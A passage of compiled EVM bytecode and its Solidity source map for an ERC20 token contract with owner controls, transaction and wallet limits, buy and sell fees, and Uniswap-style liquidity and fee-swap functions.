d5b505050506040513d601f19601f820116820180604052508101906104ab919061180c565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561050a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052e919061180c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610578573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061059c919061180c565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b5f6105cb6009600a6117e7565b6105d990633b9aca006117f5565b905090565b5f6105ea848484610a54565b610636843361043285604051806060016040528060288152602001611952602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061100a565b5060019392505050565b5f546001600160a01b031633146106695760405162461bcd60e51b8152600401610391906116be565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106da5760405162461bcd60e51b8152600401610391906116be565b5f1960058190556006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107116009600a6117e7565b61071f90633b9aca006117f5565b60405190815260200160405180910390a1565b5f61035e338484610a54565b5f546001600160a01b031633146107675760405162461bcd60e51b8152600401610391906116be565b600a54600160a01b900460ff16156107b85760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b6044820152606401610391565b5f6108046107ef60646107e9600b546009600a6107d591906117e7565b6107e390633b9aca006117f5565b90611042565b906110c7565b305f9081526001602052604090205490611108565b6009546040805163f305d71960e01b8152306004820152602481018490525f6044820181905260648201523360848201524260a482015290519293506001600160a01b039091169163f305d71991479160c4808301926060929190829003018185885af1158015610877573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061089c9190611827565b5050600a5460095460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109159190611852565b5050600a805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109925760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610391565b6001600160a01b0382166109f35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610391565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ab85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610391565b6001600160a01b038216610b1a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610391565b5f8111610b7b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610391565b600a54600160b01b900460ff161580610b9d5750600a54600160a81b900460ff165b15610bb257610bad838383611149565b505050565b5f610bbc846111f0565b9050610bcf5f546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610bfd57505f546001600160a01b03848116911614155b15610ec157600a546001600160a01b038581169116148015610c2d57506009546001600160a01b03848116911614155b8015610c5157506001600160a01b0383165f9081526003602052604090205460ff16155b15610d3757600554821115610ca85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610391565b60065482610cca856001600160a01b03165f9081526001602052604090205490565b610cd49190611871565b1115610d225760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610391565b60128054905f610d3183611884565b91905055505b600a546001600160a01b03848116911614801590610d6d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610dec5760065482610d94856001600160a01b03165f9081526001602052604090205490565b610d9e9190611871565b1115610dec5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610391565b305f90815260016020526040902054600a54600160a81b900460ff16158015610e225750600a546001600160a01b038581169116145b8015610e375750600a54600160b01b900460ff165b8015610e465750601154601254115b8015610e6a57506001600160a01b0385165f9081526003602052604090205460ff16155b8015610e8e57506001600160a01b0384165f9081526003602052604090205460ff16155b15610ebf578015610eb657610eb6610eb184610eac84600754611219565b611219565b61122d565b610ebf4761139d565b505b5f80610ece8686866113d8565b90925090508115610f57576001600160a01b0383165f90815260016020526040902054610efb9083611518565b6001600160a01b038085165f8181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f4e9086815260200190565b60405180910390a35b6001600160a01b0386165f90815260016020526040902054610f799085611108565b6001600160a01b038088165f908152600160205260408082209390935590871681522054610fa79082611518565b6001600160a01b038087165f8181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ffa9085815260200190565b60405180910390a3505050505050565b5f818484111561102d5760405162461bcd60e51b815260040161039191906115a2565b505f611039848661189c565b95945050505050565b5f825f0361105157505f610362565b5f61105c83856117f5565b90508261106985836118af565b146110c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610391565b9392505050565b5f6110c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611576565b5f6110c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061100a565b6001600160a01b0383165f9081526001602052604090205461116b9082611108565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546111999082611518565b6001600160a01b038084165f8181526001602052604090209290925584167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111e28480611108565b604051908152602001610a47565b6001600160a01b0381165f9081526003602052604081205460ff166112155730610362565b5090565b5f81831161122757826110c0565b50919050565b600a805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611273576112736118ce565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ee919061180c565b81600181518110611301576113016118ce565b6001600160a01b0392831660209182029290920101526009546113279130911684610930565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac9479061135f9085905f908690309042906004016118e2565b5f604051808303815f87803b158015611376575f80fd5b505af1158015611388573d5f803e3d5ffd5b5050600a805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156113d4573d5f803e3d5ffd5b5050565b6001600160a01b0383165f9081526003602052604081205481908190849060ff1615611420576114196103e86107e96008548861104290919063ffffffff16565b915061150c565b600a546001600160a01b03888116911614801561144b57506009546001600160a01b03878116911614155b801561146f57506001600160a01b0386165f9081526003602052604090205460ff16155b156114ad5761149a60646107e9600f546012541161148f57600b54611493565b600d545b8890611042565b91506114a6828261189c565b905061150c565b600a546001600160a01b0387811691161480156114d357506001600160a01b0387163014155b1561150c576114fd60646107e9601054601254116114f357600c54611493565b600e548890611042565b9150611509828261189c565b90505b90969095509350505050565b5f806115248385611871565b9050838110156110c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610391565b5f81836115965760405162461bcd60e51b815260040161039191906115a2565b505f61103984866118af565b5f6020808352835180828501525f5b818110156115cd578581018301518582016040015282016115b1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611601575f80fd5b50565b5f8060408385031215611615575f80fd5b8235611620816115ed565b946020939093013593505050565b5f805f60608486031215611640575f80fd5b833561164b816115ed565b9250602084013561165b816115ed565b929592945050506040919091013590565b5f6020828403121561167c575f80fd5b81356110c0816115ed565b5f8060408385031215611698575f80fd5b82356116a3816115ed565b915060208301356116b3816115ed565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174157815f1904821115611727576117276116f3565b8085161561173457918102915b93841c939080029061170c565b509250929050565b5f8261175757506001610362565b8161176357505f610362565b816001811461177957600281146117835761179f565b6001915050610362565b60ff841115611794576117946116f3565b50506001821b610362565b5060208310610133831016604e8410600b84101617156117c2575081810a610362565b6117cc8383611707565b805f19048211156117df576117df6116f3565b029392505050565b5f6110c060ff841683611749565b8082028115828204841417610362576103626116f3565b5f6020828403121561181c575f80fd5b81516110c0816115ed565b5f805f60608486031215611839575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611862575f80fd5b815180151581146110c0575f80fd5b80820180821115610362576103626116f3565b5f60018201611895576118956116f3565b5060010190565b81810381811115610362576103626116f3565b5f826118c957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119305784516001600160a01b03168352938301939183019160010161190b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122002b246e07f45c6f320a8995668f7b463d601018a742cade0ae51dc9fd7414cfb64736f6c63430008140033

3903:9442:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6316:83;;;;;;;;;;-1:-1:-1;6386:5:0;;;;;;;;;;;;-1:-1:-1;;;6386:5:0;;;;6316:83;;;;;;;:::i;:::-;;;;;;;;7199:186;;;;;;;;;;-1:-1:-1;7199:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7199:186:0;1023:187:1;8443:441:0;;;;;;;;;;;;;:::i;:::-;;4564:50;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4564:50:0;1215:177:1;6593:95:0;;;;;;;;;;;;;:::i;7393:446::-;;;;;;;;;;-1:-1:-1;7393:446:0;;;;;:::i;:::-;;:::i;6502:83::-;;;;;;;;;;-1:-1:-1;6502:83:0;;4252:1;2000:36:1;;1988:2;1973:18;6502:83:0;1858:184:1;6696:119:0;;;;;;;;;;-1:-1:-1;6696:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6789:18:0;6762:7;6789:18;;;:9;:18;;;;;;;6696:119;3748:148;;;;;;;;;;;;;:::i;13069:170::-;;;;;;;;;;;;;:::i;4446:51::-;;;;;;;;;;;;;;;;3534:79;;;;;;;;;;-1:-1:-1;3572:7:0;3599:6;3534:79;;-1:-1:-1;;;;;3599:6:0;;;2445:51:1;;2433:2;2418:18;3534:79:0;2299:203:1;4504:53:0;;;;;;;;;;;;;;;;6407:87;;;;;;;;;;-1:-1:-1;6479:7:0;;;;;;;;;;;;-1:-1:-1;;;6479:7:0;;;;6407:87;;6823:192;;;;;;;;;;-1:-1:-1;6823:192:0;;;;;:::i;:::-;;:::i;5697:611::-;;;;;;;;;;;;;:::i;7023:168::-;;;;;;;;;;-1:-1:-1;7023:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7156:18:0;;;7129:7;7156:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7023:168;7199:186;7299:4;7316:39;1007:10;7339:7;7348:6;7316:8;:39::i;:::-;-1:-1:-1;7373:4:0;7199:186;;;;;:::o;8443:441::-;3661:6;;-1:-1:-1;;;;;3661:6:0;1007:10;3661:22;3653:67;;;;-1:-1:-1;;;3653:67:0;;;;;;;:::i;:::-;;;;;;;;;8511:11:::1;::::0;-1:-1:-1;;;8511:11:0;::::1;;;8510:12;8502:44;;;::::0;-1:-1:-1;;;8502:44:0;;3463:2:1;8502:44:0::1;::::0;::::1;3445:21:1::0;3502:2;3482:18;;;3475:30;-1:-1:-1;;;3521:18:1;;;3514:49;3580:18;;8502:44:0::1;3261:343:1::0;8502:44:0::1;8559:15;:95:::0;;-1:-1:-1;;;;;;8559:95:0::1;8601:42;8559:95:::0;;::::1;::::0;;8667:58:::1;::::0;8684:4:::1;::::0;8601:42;4311:15:::1;::::0;:2:::1;:15;:::i;:::-;4295:31;::::0;:13:::1;:31;:::i;:::-;8667:8;:58::i;:::-;8763:15;;;;;;;;;-1:-1:-1::0;;;;;8763:15:0::1;-1:-1:-1::0;;;;;8763:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8754:46:0::1;;8823:4;8843:15;;;;;;;;;-1:-1:-1::0;;;;;8843:15:0::1;-1:-1:-1::0;;;;;8843:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8754:122;::::0;-1:-1:-1;;;;;;8754:122:0::1;::::0;;;;;;-1:-1:-1;;;;;5783:15:1;;;8754:122:0::1;::::0;::::1;5765:34:1::0;5835:15;;5815:18;;;5808:43;5700:18;;8754:122:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8738:13;:138:::0;;-1:-1:-1;;;;;;8738:138:0::1;-1:-1:-1::0;;;;;8738:138:0;;;::::1;::::0;;;::::1;::::0;;8443:441::o;6593:95::-;6646:7;4311:15;4252:1;4311:2;:15;:::i;:::-;4295:31;;:13;:31;:::i;:::-;6666:14;;6593:95;:::o;7393:446::-;7525:4;7542:36;7552:6;7560:9;7571:6;7542:9;:36::i;:::-;7589:220;7612:6;1007:10;7660:138;7716:6;7660:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7660:19:0;;;;;;:11;:19;;;;;;;;1007:10;7660:33;;;;;;;;;;:37;:138::i;7589:220::-;-1:-1:-1;7827:4:0;7393:446;;;;;:::o;3748:148::-;3661:6;;-1:-1:-1;;;;;3661:6:0;1007:10;3661:22;3653:67;;;;-1:-1:-1;;;3653:67:0;;;;;;;:::i;:::-;3855:1:::1;3839:6:::0;;3818:40:::1;::::0;-1:-1:-1;;;;;3839:6:0;;::::1;::::0;3818:40:::1;::::0;3855:1;;3818:40:::1;3886:1;3869:19:::0;;-1:-1:-1;;;;;;3869:19:0::1;::::0;;3748:148::o;13069:170::-;3661:6;;-1:-1:-1;;;;;3661:6:0;1007:10;3661:22;3653:67;;;;-1:-1:-1;;;3653:67:0;;;;;;;:::i;:::-;-1:-1:-1;;13123:12:0::1;:26:::0;;;13160:14:::1;:28:::0;13204:27:::1;4311:15;4252:1;4311:2;:15;:::i;:::-;4295:31;::::0;:13:::1;:31;:::i;:::-;13204:27;::::0;1361:25:1;;;1349:2;1334:18;13204:27:0::1;;;;;;;13069:170::o:0;6823:192::-;6926:4;6943:42;1007:10;6967:9;6978:6;6943:9;:42::i;5697:611::-;3661:6;;-1:-1:-1;;;;;3661:6:0;1007:10;3661:22;3653:67;;;;-1:-1:-1;;;3653:67:0;;;;;;;:::i;:::-;5759:11:::1;::::0;-1:-1:-1;;;5759:11:0;::::1;;;5758:12;5750:45;;;::::0;-1:-1:-1;;;5750:45:0;;6064:2:1;5750:45:0::1;::::0;::::1;6046:21:1::0;6103:2;6083:18;;;6076:30;-1:-1:-1;;;6122:18:1;;;6115:50;6182:18;;5750:45:0::1;5862:344:1::0;5750:45:0::1;5816:19;5838:90;5881:36;5913:3;5881:27;5893:14;;4252:1;4311:2;:15;;;;:::i;:::-;4295:31;::::0;:13:::1;:31;:::i;:::-;5881:11:::0;::::1;:27::i;:::-;:31:::0;::::1;:36::i;:::-;5856:4;6762:7:::0;6789:18;;;:9;:18;;;;;;5838:28;::::1;:90::i;:::-;5941:15;::::0;:215:::1;::::0;;-1:-1:-1;;;5941:215:0;;6025:4:::1;5941:215;::::0;::::1;6552:34:1::0;6602:18;;;6595:34;;;5941:15:0::1;6645:18:1::0;;;6638:34;;;6688:18;;;6681:34;1007:10:0;6731:19:1;;;6724:44;6130:15:0::1;6784:19:1::0;;;6777:35;5941:215:0;;5816:112;;-1:-1:-1;;;;;;5941:15:0;;::::1;::::0;:31:::1;::::0;5980:21:::1;::::0;6486:19:1;;;;;5941:215:0::1;::::0;;;;;;;;5980:21;5941:15;:215:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6176:13:0::1;::::0;6207:15:::1;::::0;6169:71:::1;::::0;-1:-1:-1;;;6169:71:0;;-1:-1:-1;;;;;6207:15:0;;::::1;6169:71;::::0;::::1;7308:51:1::0;-1:-1:-1;;7375:18:1;;;7368:34;6176:13:0;::::1;::::0;-1:-1:-1;6169:29:0::1;::::0;7281:18:1;;6169:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6253:11:0::1;:18:::0;;-1:-1:-1;;;;6282:18:0;-1:-1:-1;;;6282:18:0;;;5697:611::o;7847:335::-;-1:-1:-1;;;;;7940:19:0;;7932:68;;;;-1:-1:-1;;;7932:68:0;;7897:2:1;7932:68:0;;;7879:21:1;7936:2;7916:18;;;7909:30;7975:34;7955:18;;;7948:62;-1:-1:-1;;;8026:18:1;;;8019:34;8070:19;;7932:68:0;7695:400:1;7932:68:0;-1:-1:-1;;;;;8019:21:0;;8011:68;;;;-1:-1:-1;;;8011:68:0;;8302:2:1;8011:68:0;;;8284:21:1;8341:2;8321:18;;;8314:30;8380:34;8360:18;;;8353:62;-1:-1:-1;;;8431:18:1;;;8424:32;8473:19;;8011:68:0;8100:398:1;8011:68:0;-1:-1:-1;;;;;8090:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8142:32;;1361:25:1;;;8142:32:0;;1334:18:1;8142:32:0;;;;;;;;7847:335;;;:::o;8892:2229::-;-1:-1:-1;;;;;8980:18:0;;8972:68;;;;-1:-1:-1;;;8972:68:0;;8705:2:1;8972:68:0;;;8687:21:1;8744:2;8724:18;;;8717:30;8783:34;8763:18;;;8756:62;-1:-1:-1;;;8834:18:1;;;8827:35;8879:19;;8972:68:0;8503:401:1;8972:68:0;-1:-1:-1;;;;;9059:16:0;;9051:64;;;;-1:-1:-1;;;9051:64:0;;9111:2:1;9051:64:0;;;9093:21:1;9150:2;9130:18;;;9123:30;9189:34;9169:18;;;9162:62;-1:-1:-1;;;9240:18:1;;;9233:33;9283:19;;9051:64:0;8909:399:1;9051:64:0;9143:1;9134:6;:10;9126:64;;;;-1:-1:-1;;;9126:64:0;;9515:2:1;9126:64:0;;;9497:21:1;9554:2;9534:18;;;9527:30;9593:34;9573:18;;;9566:62;-1:-1:-1;;;9644:18:1;;;9637:39;9693:19;;9126:64:0;9313:405:1;9126:64:0;9208:11;;-1:-1:-1;;;9208:11:0;;;;9207:12;;:22;;-1:-1:-1;9223:6:0;;-1:-1:-1;;;9223:6:0;;;;9207:22;9203:108;;;9246:32;9261:4;9267:2;9271:6;9246:14;:32::i;:::-;8892:2229;;;:::o;9203:108::-;9323:12;9338:19;9352:4;9338:13;:19::i;:::-;9323:34;;9382:7;3572;3599:6;-1:-1:-1;;;;;3599:6:0;;3534:79;9382:7;-1:-1:-1;;;;;9374:15:0;:4;-1:-1:-1;;;;;9374:15:0;;;:32;;;;-1:-1:-1;3572:7:0;3599:6;-1:-1:-1;;;;;9393:13:0;;;3599:6;;9393:13;;9374:32;9370:1294;;;9453:13;;-1:-1:-1;;;;;9445:21:0;;;9453:13;;9445:21;:72;;;;-1:-1:-1;9501:15:0;;-1:-1:-1;;;;;9487:30:0;;;9501:15;;9487:30;;9445:72;:117;;;;-1:-1:-1;;;;;;9539:23:0;;;;;;:19;:23;;;;;;;;9538:24;9445:117;9423:441;;;9615:12;;9605:6;:22;;9597:60;;;;-1:-1:-1;;;9597:60:0;;9925:2:1;9597:60:0;;;9907:21:1;9964:2;9944:18;;;9937:30;10003:27;9983:18;;;9976:55;10048:18;;9597:60:0;9723:349:1;9597:60:0;9732:14;;9722:6;9706:13;9716:2;-1:-1:-1;;;;;6789:18:0;6762:7;6789:18;;;:9;:18;;;;;;;6696:119;9706:13;:22;;;;:::i;:::-;:40;;9676:140;;;;-1:-1:-1;;;9676:140:0;;10409:2:1;9676:140:0;;;10391:21:1;10448:2;10428:18;;;10421:30;10487:28;10467:18;;;10460:56;10533:18;;9676:140:0;10207:350:1;9676:140:0;9837:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9423:441;9890:13;;-1:-1:-1;;;;;9884:19:0;;;9890:13;;9884:19;;;;:47;;-1:-1:-1;;;;;;9908:23:0;;;;;;:19;:23;;;;;;;;9907:24;9884:47;9880:228;;;10008:14;;9998:6;9982:13;9992:2;-1:-1:-1;;;;;6789:18:0;6762:7;6789:18;;;:9;:18;;;;;;;6696:119;9982:13;:22;;;;:::i;:::-;:40;;9952:140;;;;-1:-1:-1;;;9952:140:0;;10409:2:1;9952:140:0;;;10391:21:1;10448:2;10428:18;;;10421:30;10487:28;10467:18;;;10460:56;10533:18;;9952:140:0;10207:350:1;9952:140:0;10163:4;10124:18;6789;;;:9;:18;;;;;;10209:6;;-1:-1:-1;;;10209:6:0;;;;10208:7;:47;;;;-1:-1:-1;10242:13:0;;-1:-1:-1;;;;;10236:19:0;;;10242:13;;10236:19;10208:47;:79;;;;-1:-1:-1;10276:11:0;;-1:-1:-1;;;10276:11:0;;;;10208:79;:130;;;;;10320:18;;10308:9;;:30;10208:130;:177;;;;-1:-1:-1;;;;;;10360:25:0;;;;;;:19;:25;;;;;;;;10359:26;10208:177;:222;;;;-1:-1:-1;;;;;;10407:23:0;;;;;;:19;:23;;;;;;;;10406:24;10208:222;10186:467;;;10468:14;;10465:99;;10505:59;10522:41;10526:6;10534:28;10538:10;10550:11;;10534:3;:28::i;:::-;10522:3;:41::i;:::-;10505:16;:59::i;:::-;10601:36;10615:21;10601:13;:36::i;:::-;9408:1256;9370:1294;10677:17;10696;10717:79;10743:4;10762:2;10779:6;10717:11;:79::i;:::-;10676:120;;-1:-1:-1;10676:120:0;-1:-1:-1;10813:13:0;;10809:145;;-1:-1:-1;;;;;10861:15:0;;;;;;:9;:15;;;;;;:30;;10881:9;10861:19;:30::i;:::-;-1:-1:-1;;;;;10843:15:0;;;;;;;:9;:15;;;;;;;:48;;;;10911:31;;;;;;;;;;10932:9;1361:25:1;;1349:2;1334:18;;1215:177;10911:31:0;;;;;;;;10809:145;-1:-1:-1;;;;;10984:15:0;;;;;;:9;:15;;;;;;:27;;11004:6;10984:19;:27::i;:::-;-1:-1:-1;;;;;10966:15:0;;;;;;;:9;:15;;;;;;:45;;;;11038:13;;;;;;;:28;;11056:9;11038:17;:28::i;:::-;-1:-1:-1;;;;;11022:13:0;;;;;;;:9;:13;;;;;;;:44;;;;11084:29;;;;;;;;;;11103:9;1361:25:1;;1349:2;1334:18;;1215:177;11084:29:0;;;;;;;;8961:2160;;;8892:2229;;;:::o;2194:224::-;2314:7;2350:12;2342:6;;;;2334:29;;;;-1:-1:-1;;;2334:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2374:9:0;2386:5;2390:1;2386;:5;:::i;:::-;2374:17;2194:224;-1:-1:-1;;;;;2194:224:0:o;2426:246::-;2484:7;2508:1;2513;2508:6;2504:47;;-1:-1:-1;2538:1:0;2531:8;;2504:47;2561:9;2573:5;2577:1;2573;:5;:::i;:::-;2561:17;-1:-1:-1;2606:1:0;2597:5;2601:1;2561:17;2597:5;:::i;:::-;:10;2589:56;;;;-1:-1:-1;;;2589:56:0;;11259:2:1;2589:56:0;;;11241:21:1;11298:2;11278:18;;;11271:30;11337:34;11317:18;;;11310:62;-1:-1:-1;;;11388:18:1;;;11381:31;11429:19;;2589:56:0;11057:397:1;2589:56:0;2663:1;2426:246;-1:-1:-1;;;2426:246:0:o;2680:132::-;2738:7;2765:39;2769:1;2772;2765:39;;;;;;;;;;;;;;;;;:3;:39::i;2050:136::-;2108:7;2135:43;2139:1;2142;2135:43;;;;;;;;;;;;;;;;;:3;:43::i;8190:245::-;-1:-1:-1;;;;;8294:15:0;;;;;;:9;:15;;;;;;:27;;8314:6;8294:19;:27::i;:::-;-1:-1:-1;;;;;8276:15:0;;;;;;;:9;:15;;;;;;:45;;;;8348:13;;;;;;;:25;;8366:6;8348:17;:25::i;:::-;-1:-1:-1;;;;;8332:13:0;;;;;;;:9;:13;;;;;:41;;;;8389:38;;;8408:18;8419:6;;8408:10;:18::i;:::-;8389:38;;1361:25:1;;;1349:2;1334:18;8389:38:0;1215:177:1;12275:143:0;-1:-1:-1;;;;;12362:25:0;;12335:7;12362:25;;;:19;:25;;;;;;;;:48;;12405:4;12362:48;;;-1:-1:-1;12390:4:0;12275:143::o;12426:107::-;12483:7;12515:1;12511;:5;12510:15;;12524:1;12510:15;;;-1:-1:-1;12520:1:0;12426:107;-1:-1:-1;12426:107:0:o;12541:483::-;4878:6;:13;;-1:-1:-1;;;;4878:13:0;-1:-1:-1;;;4878:13:0;;;12643:16:::1;::::0;;12657:1:::1;12643:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12643:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12643:16:0::1;12619:40;;12688:4;12670;12675:1;12670:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12670:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12714:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12714:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12670:7;;12714:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12704:4;12709:1;12704:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12704:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12779:15:::1;::::0;12747:62:::1;::::0;12764:4:::1;::::0;12779:15:::1;12797:11:::0;12747:8:::1;:62::i;:::-;12820:15;::::0;:196:::1;::::0;-1:-1:-1;;;12820:196:0;;-1:-1:-1;;;;;12820:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12901:11;;12820:15:::1;::::0;12943:4;;12970::::1;::::0;12990:15:::1;::::0;12820:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4914:6:0;:14;;-1:-1:-1;;;;4914:14:0;;;-1:-1:-1;;;;12541:483:0:o;13247:95::-;13305:12;;:29;;-1:-1:-1;;;;;13305:12:0;;;;:29;;;;;13327:6;;13305:12;:29;:12;:29;13327:6;13305:12;:29;;;;;;;;;;;;;;;;;;;;;13247:95;:::o;11129:1138::-;-1:-1:-1;;;;;11351:25:0;;11249:7;11351:25;;;:19;:25;;;;;;11249:7;;;;11330:6;;11351:25;;11347:873;;;11405:31;11431:4;11405:21;11416:9;;11405:6;:10;;:21;;;;:::i;:31::-;11393:43;;11347:873;;;11480:13;;-1:-1:-1;;;;;11472:21:0;;;11480:13;;11472:21;:68;;;;-1:-1:-1;11524:15:0;;-1:-1:-1;;;;;11510:30:0;;;11524:15;;11510:30;;11472:68;:109;;;;-1:-1:-1;;;;;;11558:23:0;;;;;;:19;:23;;;;;;;;11557:24;11472:109;11454:766;;;11620:208;11824:3;11620:181;11684:15;;11672:9;;:27;11671:111;;11768:14;;11671:111;;;11728:12;;11671:111;11620:6;;:28;:181::i;:208::-;11608:220;-1:-1:-1;11843:22:0;11608:220;11843:22;;:::i;:::-;;;11454:766;;;11893:13;;-1:-1:-1;;;;;11887:19:0;;;11893:13;;11887:19;:44;;;;-1:-1:-1;;;;;;11910:21:0;;11926:4;11910:21;;11887:44;11883:337;;;11960:211;12167:3;11960:184;12024:16;;12012:9;;:28;12011:114;;12110:15;;12011:114;;;12069:13;;11960:6;;:28;:184::i;:211::-;11948:223;-1:-1:-1;12186:22:0;11948:223;12186:22;;:::i;:::-;;;11883:337;12238:9;;;;-1:-1:-1;11129:1138:0;-1:-1:-1;;;;11129:1138:0:o;1863:179::-;1921:7;;1953:5;1957:1;1953;:5;:::i;:::-;1941:17;;1982:1;1977;:6;;1969:46;;;;-1:-1:-1;;;1969:46:0;;12910:2:1;1969:46:0;;;12892:21:1;12949:2;12929:18;;;12922:30;12988:29;12968:18;;;12961:57;13035:18;;1969:46:0;12708:351:1;2820:223:0;2940:7;2975:12;2968:5;2960:28;;;;-1:-1:-1;;;2960:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2999:9:0;3011:5;3015:1;3011;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-